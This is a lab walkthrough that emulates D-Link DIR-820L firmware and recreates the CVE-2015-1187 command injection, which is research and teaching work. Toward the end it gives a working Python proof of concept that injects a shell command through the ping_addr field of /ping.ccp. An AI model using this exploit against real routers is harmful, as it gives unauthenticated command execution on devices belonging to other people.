We'll be recreating CVE-2015-1187 using the firmware posted on D-Link's website here a direct link to the firmware here. This exploit takes advantage of the DIR-820L at version 1.05.
$ wget https://ftp.dlink.ca/ftp/PRODUCTS/DIR-820L/DIR-820L_REVA_FIRMWARE_1.05B03.BIN
We'll be using the Firmware Emulator (help me find a better name please) to emulate this firmware. And so we'll need to clone and install it first.
$ git clone https://github.com/ChrisTheCoolHut/firmware_emulator.git$ cd firmware_emulator$ ./install.sh$ sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils kpartx uml-utilities bridge-utils
With that, it should be installed, and we pop into the interactive emulator.
$ python fw_emulator.py​______ _| ___(_)| |_ _ _ __ _ __ _____ ____ _ _ __ ___| _| | | '__| '_ ` _ \ \ /\ / / _` | '__/ _ \| | | | | | | | | | \ V V / (_| | | | __/\_| |_|_| |_| |_| |_|\_/\_/ \__,_|_| \___|_____ _ _| ___| | | | || |__ _ __ ___ _ _| | __ _| |_ ___ _ __| __| '_ ` _ \| | | | |/ _` | __/ _ \| '__|| |__| | | | | | |_| | | (_| | || (_) | |\____/_| |_| |_|\__,_|_|\__,_|\__\___/|_|​​emu:~$emu:~$add_file export info remove_root_passwd unmountadd_network force_network make_image rundel_file force_tty_login mount setup_network
Pressing tab reveals it's list of commands, which are explained here. But we'll just need a couple to emulate this image. The general flow of emulating an image will be using the make_image
command followed by a setup_network
command. If that flow doesn't work, we'll use the other commands to do some debugging.
emu:~$ make_image DIR-820L_REVA_FIRMWARE_1.05B03.BININFO:root:Using firmadyne extractor​/home/chris/projects/firmware_emulator/DIR-820L_REVA_FIRMWARE_1.05B03.BIN>> MD5: ec3be072456a275d4eb2f7f851bd18f9>> Tag: DIR-820L_REVA_FIRMWARE_1.05B03.BIN_ec3be072456a275d4eb2f7f851bd18f9>> Temp: /tmp/tmp5r076pun>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True>> Recursing into archive ......SNIP...Removing /etc/scripts/sys_resetbutton!loop deleted : /dev/loop30[+] Image created!emu:~$ setup_networkDEBUG:root:Getting network informationDEBUG:root:Getting serial from 60 second runDEBUG:root:['qemu-system-mips', '-M', 'malta', '-net', 'nic,vlan=0', '-net', 'socket,vlan=0,listen=:2000', '-net', 'nic,vlan=1', '-net', 'socket,vlan=0,listen=:2001', '-net', 'nic,vlan=2', '-net', 'socket,vlan=0,listen=:2002', '-net', 'nic,vlan=3', '-net', 'socket,vlan=0,listen=:2003', '-kernel', '/home/chris/projects/firmware_emulator/binaries/vmlinux.mips', '-drive', 'if=ide,format=raw,file=/tmp/tmppz7bmn12/image.raw', '-append', 'firmadyne.syscall=1 root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1', '-m', '1024', '-serial', 'file:/tmp/tmppz7bmn12/qemu.initial.serial.log', '-serial', 'unix:/tmp/tmppz7bmn12/serial.S1,server,nowait', '-monitor', 'unix:/tmp/tmppz7bmn12/monitor,server,nowait', '-display', 'none']qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.qemu-system-mips: warning: vlan 3 is not connected to host networkqemu-system-mips: warning: vlan 2 is not connected to host networkqemu-system-mips: warning: vlan 1 is not connected to host networkDEBUG:root:done[{'ip': '192.168.0.1', 'host_ip': '192.168.0.2', 'dev': 'eth0', 'vlan': None, 'mac': None, 'tap_dev': 'tap_0', 'host_net_dev': 'tap_0'}][+] Network is accessible!​
We'll need to note down that ip and host_ip information. When we run our emulator next, we'll be able to ping it at it's specified ip. The next step is confirming that we can run it and interact with it, so we'll issue the run
command.
emu:~$ runINFO:root:Device available on 192.168.0.1DEBUG:root:sudo tunctl -t tap_0 -u rootCtrl A + X to leaveSet 'tap_0' persistent and owned by uid 0DEBUG:root:sudo ip link set tap_0 upDEBUG:root:sudo ip addr add 192.168.0.2/24 dev tap_0DEBUG:root:sudo ip route add 192.168.0.1 via 192.168.0.2 dev tap_0DEBUG:root:Press Ctrl+a then x to exit​
These emulators tend to get pretty spammy and you'll see lots of messages like the picture below. This is normal and actually means it's running correctly!
We noted down the IP earlier being 192.168.0.1 , so our first step is make sure that it's network reachable:
ping 192.168.0.1PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=3.32 ms64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.379 ms
At this point you can actually browse to the site at that address too!
To stop the emulation you'll need to enter Ctrl+a,x. This will drop you back into the firmware emulator shell. A quick info
command shows what information we've got currently captured from this image:
emu:~$ info[+] Image Arch : mips[+] Image Endi : Iend_BE[+] Image Path : /tmp/tmppz7bmn12/image.raw[+] Image IP ADDR : ['192.168.0.1'][+] Image Kernel : /home/chris/projects/firmware_emulator/binaries/vmlinux.mips
We're going to add an extra binary to the device next. If we were debugging a memory corruption bug, we could add gdbserver, but in this case we'll be adding the binary I want the command injection to run.
emu:~$ add_file payloads/arch/mips/cat_payload /cat_payload[+] loop device at /dev/mapper/loop30p1loop deleted : /dev/loop30[+] Added file
With our payload added, and networking information known, we can export the router image and use just that for finishing the exploit. I'm exporting my image to the folder DIR_820L_105_emulator and am closing out the firmware emulator.
emu:~$ export DIR_820L_105_emulator# Ctrl+D or Ctrl+C to quit
Next is going into the directory and starting the emulator!
$ cd DIR_820L_105_emulator$ bash runner.sh
The description provided by the initial disclosure led me to write the following PoC:
#!/usr/bin/env pythonimport requestsimport argparse​data = 'ccp_act=ping_v6&ping_addr=$({})'​def main():parser = argparse.ArgumentParser()​parser.add_argument("IP")parser.add_argument("Command")​args = parser.parse_args()​t_data = {'ccp_act' : 'ping_v6','ping_addr' : '$({})'.format(args.Command)}​url = "http://{}/ping.ccp".format(args.IP)​print("Sending request!")resp = requests.post(url= url, data=t_data)​if __name__ == "__main__":main()​
Running the exploit with the cat payload starts a new service listening on port 12345 providing anyone with access to the router with free cat gifs!
python exploit.py 192.168.0.1 "/cat_payload 12345"